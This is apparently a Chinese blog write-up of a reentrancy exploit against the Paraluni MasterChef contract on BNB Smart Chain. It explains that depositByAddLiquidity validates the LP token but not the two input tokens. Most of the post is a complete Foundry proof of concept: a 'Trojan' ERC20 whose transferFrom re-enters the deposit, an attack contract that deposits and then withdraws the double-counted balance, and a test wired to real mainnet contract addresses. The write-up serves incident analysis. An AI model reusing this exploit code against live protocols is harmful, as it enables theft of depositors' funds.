本文作者:bixia1994[1]
twitter[2]
tx[3]
整体的思路是特洛伊木马 token 的思路,重入 masterChef 中的 depositByAddLiquidity
方法。该方法的核心错误逻辑在于:它只检查了 lpToken 的地址合法性,没有检查 token0,token1 的地址合法性。从而让 token0 可以做成一个特洛伊木马,在 token0 里面 transfer 一个合法的 token,从而成功添加流动性;而导致 deposit 重复计算。
vars.oldBalance = IERC20(_lpAddress).balanceOf(address(this));
(vars.amountA, vars.amountB, vars.liquidity) = paraRouter.addLiquidity(_tokens[0], _tokens[1], _amounts[0], _amounts[1], 1, 1, address(this), block.timestamp + 600);
vars.newBalance = IERC20(_lpAddress).balanceOf(address(this));
require(vars.newBalance > vars.oldBalance, "B:E");
vars.liquidity = vars.newBalance.sub(vars.oldBalance);
_deposit(_pid, liquidity, _user);
re-entry
BSC
depositByAddLiquidity 的函数签名中,包含一个 address[2] memory _tokens; 如何正确构造一个 address[2] memroy 的结构
function depositByAddLiquidity(uint256 _pid, address[2] memory _tokens, uint256[2] memory _amounts)
在 solidity 中,构造一个位于 memory 的动态数组,一般是通过如下的方式来构造:
address[] memory _tokens = new address[](2 "] memory _tokens = new address[");
_tokens[0] = address(token0);
_tokens[1] = address(token1);
但是这样构造出来的_tokens 数组,其类型是:address[] memory
而不是 address[2] memory
;
正确的构造方式应该如下:
address[2] memory _tokens = [address(token0), adderss(token1)];
在特洛伊木马的 ERC20 token 中,trasnferFrom 按照 ERC20 的标准是需要 return 一个 bool 值的。因为我们在写特洛伊木马的 ERC20 token 是直接继承的 OpenZeppelin 的 ERC20,那么应该是直接调用 super.transferFrom();但问题在于是应该直接写 super.transferFrom 呢还是应该写 return super.transferFrom 呢?
即:
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
/// call from router.addLiquidity
if(msg.sender == address(router)) {
if (reentry == 0) {
reentry++;
if (shouldExecute) {
hack.hack2();
}
return super.transferFrom(_from, _to, _value);
///super.transferFrom(_from, _to, _value); ??
}
if (reentry == 1) {
return super.transferFrom(_from, _to, _value);
///super.transferFrom(_from, _to, _value); ??
}
} else {
return super.transferFrom(_from, _to, _value);
///super.transferFrom(_from, _to, _value); ??
}
}
经过测试,是应该写 return super.transferFrom
而不是直接的 super.transferFrom
这里的 super 应该理解为一个 inner function 的调用,所以对于一个 inner function,其返回值也只会返回给上层函数,所以这里还需要把 inner function 的返回值再返回出去,这样才能够真正的去 return 一个返回值,否则就会 return 一个默认值 false。
在具体实现的时候,还有一个难点,也是一个设计上的难点:一共有两个 token 的 transferFrom,是不是两个 token 都应该做特洛伊木马,还是只需要一个 token 做特洛伊木马,另一个 token 配合就行?
因为特洛伊木马 token 的调用关系如下:所以简单来说,另一个 token 必须要配合特洛伊木马 token 来执行,而自己不应该执行。所以需要在其中一个 token 加一个判断条件:shouldExecute, 对于特洛伊木马 token,shouldExeucte 应该为 true,对于配合执行的 token,shouldExecute 为 false
/// masterchef.depositByAddLiquidity(tokenA, tokenB)
/// paraRouter.addLiquidity(tokenA, tokenB)
/// paraRouter.safeTransferFrom(tokenA, masterchef, pair, amount)
/// tokenA.transferFrom(masterchef, pair, amount)
/// masterchef.depositByAddLiquidity(usdt, busd)
/// paraRouter.addLiquidity(usdt, busd)
/// paraRouter.safeTransferFrom(usdt, masterchef, pair, amount)
/// usdt.transferFrom(masterchef, pair, amount)
/// busd.transferFrom(masterchef, pair, amount) // from another token, which must cooperate with te Trojan token
/// pair.mint(lp) = amountA
/// var.newBalance = amountA
/// masterChef._deposit(_pid,amountA,_user)
/// tokenB.transferFrom(masterChef, pair, amount) // from another token, which must cooperate with te Trojan token
/// pair.mint(lp) = amountB => useless!!!
/// var.newBalance = amountA!!!
/// masterchef._deposit(_pid,amountA,_user)
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;
import "ds-test/test.sol";
import "forge-std/Vm.sol";
import "forge-std/stdlib.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IMasterChef} from "./IMasterChef.sol";
import {IParaRouter} from "./IParaRouter.sol";
///妥妥的paradigm的特洛伊木马思路,关键点在于
///ERC20.transfer(user.transfer) 构造一个ERC20代币,在里面的transfer时,去deposit一个USDC的token,再次调用deposit,这样就可以重复计算两次balance
/// hack.hack()
/// masterchef.depositByAddLiquidity(tokenA, tokenB)
/// paraRouter.addLiquidity(tokenA, tokenB)
/// paraRouter.safeTransferFrom(tokenA, masterchef, pair, amount)
/// tokenA.transferFrom(masterchef, pair, amount)
/// masterchef.depositByAddLiquidity(usdt, busd)
/// paraRouter.addLiquidity(usdt, busd)
/// paraRouter.safeTransferFrom(usdt, masterchef, pair, amount)
/// usdt.transferFrom(masterchef, pair, amount)
/// pair.mint(lp) = amountA
/// var.newBalance = amountA
/// masterChef._deposit(_pid,amountA,_user)
/// pair.mint(lp) = amountB => useless!!!
/// var.newBalance = amountA!!!
/// masterchef._deposit(_pid,amountA,_user)
contract DamnToken is ERC20 {
IERC20 public token;
IParaRouter public router;
Hack public hack;
bool public shouldExecute = false;
uint256 reentry = 0;
constructor(
string memory name,
string memory symbol,
IERC20 _token,
IParaRouter _router,
Hack _hack,
bool _shouldExecute) ERC20(name, symbol)
{
token = _token;
router = _router;
hack = _hack;
shouldExecute = _shouldExecute;
_mint(msg.sender, 100000 ether );
}
/// @dev 特洛伊木马:
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
/// call from router.addLiquidity
if(msg.sender == address(router)) {
if (reentry == 0) {
reentry++;
if (shouldExecute) {
hack.hack2();
}
return super.transferFrom(_from, _to, _value);
}
if (reentry == 1) {
return token.transferFrom(_from, _to, _value);
}
} else {
return super.transferFrom(_from, _to, _value);
}
}
}
contract Hack is DSTest, stdCheats {
IMasterChef public masterChef;
DamnToken public damnToken;
DamnToken public damnToken2;
IParaRouter public router;
IERC20 public usdt;
IERC20 public busd;
Vm public vm = Vm(HEVM_ADDRESS);
constructor(
IMasterChef _masterChef,
IParaRouter _router,
IERC20 _usdt,
IERC20 _busd)
{
masterChef = _masterChef;
router = _router;
damnToken = new DamnToken("DamnToken", "DT", usdt, router, this, true);
damnToken2 = new DamnToken("DamnToken2", "DT2", busd, router, this, false);
usdt = _usdt;
busd = _busd;
vm.label(address(damnToken), "damnToken");
vm.label(address(damnToken2), "damnToken2");
}
function startHack() public {
damnToken.approve(address(masterChef), type(uint256).max);
damnToken2.approve(address(masterChef), type(uint256).max);
usdt.approve(address(masterChef), type(uint256).max);
busd.approve(address(masterChef), type(uint256).max);
address[2] memory tokens = [address(damnToken), address(damnToken2)];
uint256[2] memory amounts = [uint256(1000 ether), uint256(1000 ether)];
masterChef.depositByAddLiquidity(18,tokens,amounts);
//getUserInfo
(uint256 amount, ) = masterChef.userInfo(18, address(this));
//withdraw
masterChef.withdraw(18, amount);
}
function hack2() public {
address[2] memory tokens = [address(usdt), address(busd)];
uint256[2] memory amounts = [uint256(1000 ether), uint256(1000 ether)];
masterChef.depositByAddLiquidity(18,tokens,amounts);
}
}
contract ParaluniTest is DSTest , stdCheats {
address public paraProxyAddr = 0x633Fa755a83B015cCcDc451F82C57EA0Bd32b4B4;
address public paraImplAddr = 0xA386F30853A7EB7E6A25eC8389337a5C6973421D;
address public lpAddr = 0x3fD4FbD7a83062942b6589A2E9e2436dd8e134D4;
address public pancakeFactory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
address public usdtAddr = 0x55d398326f99059fF775485246999027B3197955;
address public busdAddr = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
address public pair = 0x7EFaEf62fDdCCa950418312c6C91Aef321375A00;
address public paraRouter = 0x48Bb5f07e78f32Ac7039366533D620C72c389797;
address public ugt = 0xbc5db89CE5AB8035A71c6Cd1cd0F0721aD28B508;
address public ubt = 0xcA2ca459Ec6E4F58AD88AEb7285D2e41747b9134;
Hack public hack;
address public alice = address(0xdeadbeef);
Vm public vm = Vm(HEVM_ADDRESS);
function setUp() public {
hack = new Hack(
IMasterChef(paraProxyAddr),
IParaRouter(payable(paraRouter)),
IERC20(usdtAddr),
IERC20(busdAddr)
);
vm.label(address(hack), "hack");
vm.label(paraProxyAddr, "paraProxy");
vm.label(paraImplAddr, "paraImpl");
vm.label(lpAddr, "lp");
vm.label(pancakeFactory, "pancakeFactory");
vm.label(usdtAddr, "usdt");
vm.label(busdAddr, "busd");
vm.label(pair, "pair");
vm.label(paraRouter, "paraRouter");
tip(usdtAddr, address(hack), 1000 ether);
tip(busdAddr, address(hack), 1000 ether);
emit log_named_uint("USDT balance of Hack", IERC20(usdtAddr).balanceOf(address(hack)));
emit log_named_uint("BUSD balance of Hack", IERC20(busdAddr).balanceOf(address(hack)));
}
function testHack() public {
hack.startHack();
}
}
[1]
bixia1994: https://learnblockchain.cn/people/3295
[2]
twitter: https://twitter.com/peckshield/status/1502815435498176514
[3]
tx: https://versatile.blocksecteam.com/tx/bsc/0x70f367b9420ac2654a5223cc311c7f9c361736a39fd4e7dff9ed1b85bab7ad54